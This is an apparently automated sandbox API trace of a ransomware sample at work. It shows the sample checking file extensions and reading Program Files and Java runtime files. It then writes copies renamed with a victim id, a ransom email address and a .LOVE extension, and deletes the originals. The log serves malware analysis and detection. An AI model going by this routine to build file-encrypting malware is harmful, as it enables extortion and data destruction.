[0201.678] lstrlenW (lpString=".docx") returned 5 [0201.678] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1 [0201.678] lstrlenW (lpString=".pdf") returned 4 [0201.678] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.678] lstrlenW (lpString=".xls") returned 4 [0201.678] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.678] lstrlenW (lpString=".xlsx") returned 5 [0201.679] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1 [0201.679] lstrlenW (lpString=".ppt") returned 4 [0201.679] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml") returned 75 [0201.679] lstrlenW (lpString=".zip") returned 4 [0201.679] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.679] lstrlenW (lpString=".rar") returned 4 [0201.679] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.679] lstrlenW (lpString=".bz2") returned 4 [0201.679] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.679] lstrlenW (lpString=".7z") returned 3 [0201.679] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml") returned 75 [0201.679] lstrlenW (lpString=".dbf") returned 4 [0201.679] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml") returned 75 [0201.679] lstrlenW (lpString=".1cd") returned 4 [0201.679] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml") returned 75 [0201.679] lstrlenW (lpString=".jpg") returned 4 [0201.679] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.679] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0201.679] lstrlenW (lpString="symbols.xml") returned 11 [0201.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0201.680] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=591) returned 1 [0201.680] CloseHandle (hObject=0x328) returned 1 [0201.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml")) returned 0x20 [0201.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0201.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0201.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0201.681] lstrlenW (lpString=".doc") returned 4 [0201.681] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.681] lstrlenW (lpString=".docx") returned 5 [0201.681] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0201.681] lstrlenW (lpString=".pdf") returned 4 [0201.681] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.681] lstrlenW (lpString=".xls") returned 4 [0201.681] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.681] lstrlenW (lpString=".xlsx") returned 5 [0201.681] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0201.681] lstrlenW (lpString=".ppt") returned 4 [0201.681] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0201.681] lstrlenW (lpString=".zip") returned 4 [0201.681] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.681] lstrlenW (lpString=".rar") returned 4 [0201.681] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.681] lstrlenW (lpString=".bz2") returned 4 [0201.681] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.681] lstrlenW (lpString=".7z") returned 3 [0201.681] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0201.681] lstrlenW (lpString=".dbf") returned 4 [0201.681] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0201.681] lstrlenW (lpString=".1cd") returned 4 [0201.681] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0201.681] lstrlenW (lpString=".jpg") returned 4 [0201.681] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0201.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0201.682] lstrlenW (lpString=".doc") returned 4 [0201.682] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.682] lstrlenW (lpString=".docx") returned 5 [0201.682] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0201.682] lstrlenW (lpString=".pdf") returned 4 [0201.682] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.682] lstrlenW (lpString=".xls") returned 4 [0201.682] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.682] lstrlenW (lpString=".xlsx") returned 5 [0201.682] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0201.682] lstrlenW (lpString=".ppt") returned 4 [0201.682] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0201.682] lstrlenW (lpString=".zip") returned 4 [0201.682] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.682] lstrlenW (lpString=".rar") returned 4 [0201.682] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.682] lstrlenW (lpString=".bz2") returned 4 [0201.682] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.682] lstrlenW (lpString=".7z") returned 3 [0201.682] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0201.682] lstrlenW (lpString=".dbf") returned 4 [0201.682] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0201.682] lstrlenW (lpString=".1cd") returned 4 [0201.682] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0201.682] lstrlenW (lpString=".jpg") returned 4 [0201.682] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.683] lstrcmpiW (lpString1=".dat", lpString2=".LOVE") returned -1 [0201.683] lstrlenW (lpString="hwrcommonlm.dat") returned 15 [0201.683] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0201.696] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=46624) returned 1 [0201.696] CloseHandle (hObject=0x328) returned 1 [0201.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20 [0201.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0201.706] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0201.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0201.706] lstrlenW (lpString=".doc") returned 4 [0201.706] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0201.706] lstrlenW (lpString=".docx") returned 5 [0201.706] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0201.706] lstrlenW (lpString=".pdf") returned 4 [0201.706] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0201.706] lstrlenW (lpString=".xls") returned 4 [0201.706] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0201.706] lstrlenW (lpString=".xlsx") returned 5 [0201.706] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0201.706] lstrlenW (lpString=".ppt") returned 4 [0201.706] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0201.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0201.707] lstrlenW (lpString=".zip") returned 4 [0201.707] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0201.707] lstrlenW (lpString=".rar") returned 4 [0201.707] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0201.707] lstrlenW (lpString=".bz2") returned 4 [0201.707] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0201.707] lstrlenW (lpString=".7z") returned 3 [0201.707] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0201.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0201.707] lstrlenW (lpString=".dbf") returned 4 [0201.707] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0202.193] GetLastError () returned 0x0 [0202.193] ReadFile (in: hFile=0x300, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x99, lpOverlapped=0x0) returned 1 [0202.194] WriteFile (in: hFile=0x2c4, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xa0, lpOverlapped=0x0) returned 1 [0202.194] ReadFile (in: hFile=0x300, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.194] WriteFile (in: hFile=0x2c4, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xf4, lpOverlapped=0x0) returned 1 [0202.194] SetEndOfFile (hFile=0x2c4) returned 1 [0202.195] CloseHandle (hObject=0x2c4) returned 1 [0202.195] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.195] SetEndOfFile (hFile=0x300) returned 1 [0202.195] CloseHandle (hObject=0x300) returned 1 [0202.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0202.196] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif")) returned 1 [0202.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0202.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0202.196] lstrlenW (lpString=".doc") returned 4 [0202.196] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0202.196] lstrlenW (lpString=".docx") returned 5 [0202.196] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0202.196] lstrlenW (lpString=".pdf") returned 4 [0202.196] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0202.196] lstrlenW (lpString=".xls") returned 4 [0202.196] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0202.196] lstrlenW (lpString=".xlsx") returned 5 [0202.196] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0202.196] lstrlenW (lpString=".ppt") returned 4 [0202.196] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0202.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0202.196] lstrlenW (lpString=".zip") returned 4 [0202.196] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0202.196] lstrlenW (lpString=".rar") returned 4 [0202.196] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0202.196] lstrlenW (lpString=".bz2") returned 4 [0202.196] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0202.196] lstrlenW (lpString=".7z") returned 3 [0202.196] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0202.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0202.196] lstrlenW (lpString=".dbf") returned 4 [0202.197] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0202.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0202.197] lstrlenW (lpString=".1cd") returned 4 [0202.197] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0202.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0202.197] lstrlenW (lpString=".jpg") returned 4 [0202.197] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0202.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0202.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0202.197] lstrlenW (lpString=".doc") returned 4 [0202.197] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0202.197] lstrlenW (lpString=".docx") returned 5 [0202.197] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0202.197] lstrlenW (lpString=".pdf") returned 4 [0202.197] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0202.197] lstrlenW (lpString=".xls") returned 4 [0202.197] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0202.197] lstrlenW (lpString=".xlsx") returned 5 [0202.197] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0202.197] lstrlenW (lpString=".ppt") returned 4 [0202.197] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0202.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0202.197] lstrlenW (lpString=".zip") returned 4 [0202.197] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0202.197] lstrlenW (lpString=".rar") returned 4 [0202.197] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0202.197] lstrlenW (lpString=".bz2") returned 4 [0202.197] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0202.197] lstrlenW (lpString=".7z") returned 3 [0202.197] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0202.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0202.197] lstrlenW (lpString=".dbf") returned 4 [0202.197] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0202.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0202.197] lstrlenW (lpString=".1cd") returned 4 [0202.197] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0202.198] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0202.198] lstrlenW (lpString=".jpg") returned 4 [0202.198] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0202.198] lstrcmpiW (lpString1=".gif", lpString2=".LOVE") returned -1 [0202.198] lstrlenW (lpString="win32_CopyDrop32x32.gif") returned 23 [0202.198] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0202.343] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=165) returned 1 [0202.343] CloseHandle (hObject=0x2d8) returned 1 [0202.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 0x20 [0202.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0202.344] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0202.344] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.344] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.344] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0202.375] GetLastError () returned 0x0 [0202.376] ReadFile (in: hFile=0x2d8, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0xa5, lpOverlapped=0x0) returned 1 [0202.376] WriteFile (in: hFile=0x330, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xb0, lpOverlapped=0x0) returned 1 [0202.377] ReadFile (in: hFile=0x2d8, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.377] WriteFile (in: hFile=0x330, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x102, lpOverlapped=0x0) returned 1 [0202.377] SetEndOfFile (hFile=0x330) returned 1 [0202.377] CloseHandle (hObject=0x330) returned 1 [0202.378] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.378] SetEndOfFile (hFile=0x2d8) returned 1 [0202.379] CloseHandle (hObject=0x2d8) returned 1 [0202.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0202.379] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 1 [0202.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0202.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0202.380] lstrlenW (lpString=".doc") returned 4 [0202.380] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0202.380] lstrlenW (lpString=".docx") returned 5 [0202.380] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0202.380] lstrlenW (lpString=".pdf") returned 4 [0202.380] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0202.380] lstrlenW (lpString=".xls") returned 4 [0202.380] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0202.380] lstrlenW (lpString=".xlsx") returned 5 [0202.380] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0202.380] lstrlenW (lpString=".ppt") returned 4 [0202.380] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0202.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0202.380] lstrlenW (lpString=".zip") returned 4 [0202.380] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0202.380] lstrlenW (lpString=".rar") returned 4 [0202.380] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0202.380] lstrlenW (lpString=".bz2") returned 4 [0202.380] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0202.380] lstrlenW (lpString=".7z") returned 3 [0202.380] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0202.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0202.380] lstrlenW (lpString=".dbf") returned 4 [0202.380] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0202.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0202.380] lstrlenW (lpString=".1cd") returned 4 [0202.380] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0202.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0202.380] lstrlenW (lpString=".jpg") returned 4 [0202.380] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0202.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0202.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0202.381] lstrlenW (lpString=".doc") returned 4 [0202.381] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0202.381] lstrlenW (lpString=".docx") returned 5 [0202.381] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0202.381] lstrlenW (lpString=".pdf") returned 4 [0202.381] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0202.381] lstrlenW (lpString=".xls") returned 4 [0202.381] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0202.381] lstrlenW (lpString=".xlsx") returned 5 [0202.381] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0202.381] lstrlenW (lpString=".ppt") returned 4 [0202.381] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0202.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0202.381] lstrlenW (lpString=".zip") returned 4 [0202.381] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0202.381] lstrlenW (lpString=".rar") returned 4 [0202.381] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0202.381] lstrlenW (lpString=".bz2") returned 4 [0202.381] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0202.381] lstrlenW (lpString=".7z") returned 3 [0202.381] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0202.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0202.381] lstrlenW (lpString=".dbf") returned 4 [0202.381] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0202.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0202.381] lstrlenW (lpString=".1cd") returned 4 [0202.381] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0202.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0202.382] lstrlenW (lpString=".jpg") returned 4 [0202.382] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0202.382] lstrcmpiW (lpString1=".dat", lpString2=".LOVE") returned -1 [0202.382] lstrlenW (lpString="tzdb.dat") returned 8 